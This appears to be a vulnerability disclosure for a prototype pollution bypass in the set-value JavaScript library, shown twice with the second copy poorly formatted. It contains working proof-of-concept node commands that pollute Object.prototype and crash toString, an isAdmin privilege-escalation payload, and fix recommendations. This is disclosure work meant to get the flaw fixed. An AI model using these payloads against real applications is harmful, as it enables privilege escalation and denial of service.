Executive Summary
A critical vulnerability was identified in the set-value library,
enabling Prototype Pollution through a nested array path bypass.
By supplying a crafted path such as:
[["__proto__"], "prop"]
an attacker can bypass existing sanitization mechanisms and inject arbitrary properties into
Object.prototype.
This leads to:
- Global state corruption
- Logic and access control bypass
- Full Denial of Service (DoS)
Vulnerability Details
- Type: Prototype Pollution
- Vector: Nested Array Path Bypass
- Component:
setValue()
- Impact: Global State Corruption, Privilege Escalation, DoS
Technical Root Cause
The library attempts to prevent dangerous keys such as __proto__,
constructor, and prototype using a denylist.
However, when the path is supplied as a nested array, the implementation
recursively unwraps the array structure without re-validating inner elements.
This allows attackers to bypass protections by embedding forbidden keys within nested arrays,
effectively evading top-level sanitization.
Proof of Concept (PoC)
1. Global Prototype Pollution
node -e 'const set = require("../upstream/set-value");
const path = [["__proto__"], "polluted"];
set({}, path, "HACKED_BY_NESTED_ARRAY");
console.log(
"Is Object.prototype polluted?",
({}).polluted === "HACKED_BY_NESTED_ARRAY" ? "YES (VULNERABLE)" : "NO"
);'
Output:
Is Object.prototype polluted? YES (VULNERABLE)
2. Denial of Service (DoS)
node -e 'require("../upstream/set-value")({}, [["__proto__"], "toString"], "BROKEN");
try {
({}).toString();
} catch(e) {
console.log("Success! Global prototype corrupted.");
console.log("Error:", e.message);
}'
Output:
Success! Global prototype corrupted.
Error: {}.toString is not a function
Impact Analysis
Authentication / Authorization Bypass
An attacker can inject properties into all objects globally:
{"path": [["__proto__"], "isAdmin"], "value": true}
Result:
({}).isAdmin === true
This can grant administrative privileges across the entire application.
Denial of Service (DoS)
Overwriting built-in methods such as toString or
hasOwnProperty can break core runtime behavior, leading to
application crashes during:
- Logging
- JSON serialization
- String operations
Recommendations
-
Recursive Validation: Validate all nested path elements,
regardless of depth.
-
Path Flattening: Normalize and validate the entire path
before applying it.
-
Strict Blocklist: Reject
__proto__,
constructor, and prototype at any level.
-
Safe Object Creation: Use
Object.create(null)
when appropriate.
Metadata
- Researcher: Franciny Rojas
- Severity: CRITICAL (CVSS 9.8)
- Status: Confirmed & Fully Reproducible
Executive Summary
A critical vulnerability was identified in the
set-valuelibrary, enabling Prototype Pollution through a nested array path bypass.By supplying a crafted path such as:
an attacker can bypass existing sanitization mechanisms and inject arbitrary properties into
Object.prototype.This leads to:
Vulnerability Details
setValue()Technical Root Cause
The library attempts to prevent dangerous keys such as
__proto__,constructor, andprototypeusing a denylist.However, when the path is supplied as a nested array, the implementation recursively unwraps the array structure without re-validating inner elements.
This allows attackers to bypass protections by embedding forbidden keys within nested arrays, effectively evading top-level sanitization.
Proof of Concept (PoC)
1. Global Prototype Pollution
node -e 'const set = require("../upstream/set-value"); const path = [["__proto__"], "polluted"]; set({}, path, "HACKED_BY_NESTED_ARRAY");console.log(
"Is Object.prototype polluted?",
({}).polluted === "HACKED_BY_NESTED_ARRAY" ? "YES (VULNERABLE)" : "NO"
);'
Output:
2. Denial of Service (DoS)
node -e 'require("../upstream/set-value")({}, [["__proto__"], "toString"], "BROKEN");try {
({}).toString();
} catch(e) {
console.log("Success! Global prototype corrupted.");
console.log("Error:", e.message);
}'
Output:
Success! Global prototype corrupted. Error: {}.toString is not a functionImpact Analysis
Authentication / Authorization Bypass
An attacker can inject properties into all objects globally:
{"path": [["__proto__"], "isAdmin"], "value": true}Result:
({}).isAdmin === trueThis can grant administrative privileges across the entire application.
Denial of Service (DoS)
Overwriting built-in methods such as
toStringorhasOwnPropertycan break core runtime behavior, leading to application crashes during:Recommendations
__proto__,constructor, andprototypeat any level.Object.create(null)when appropriate.Metadata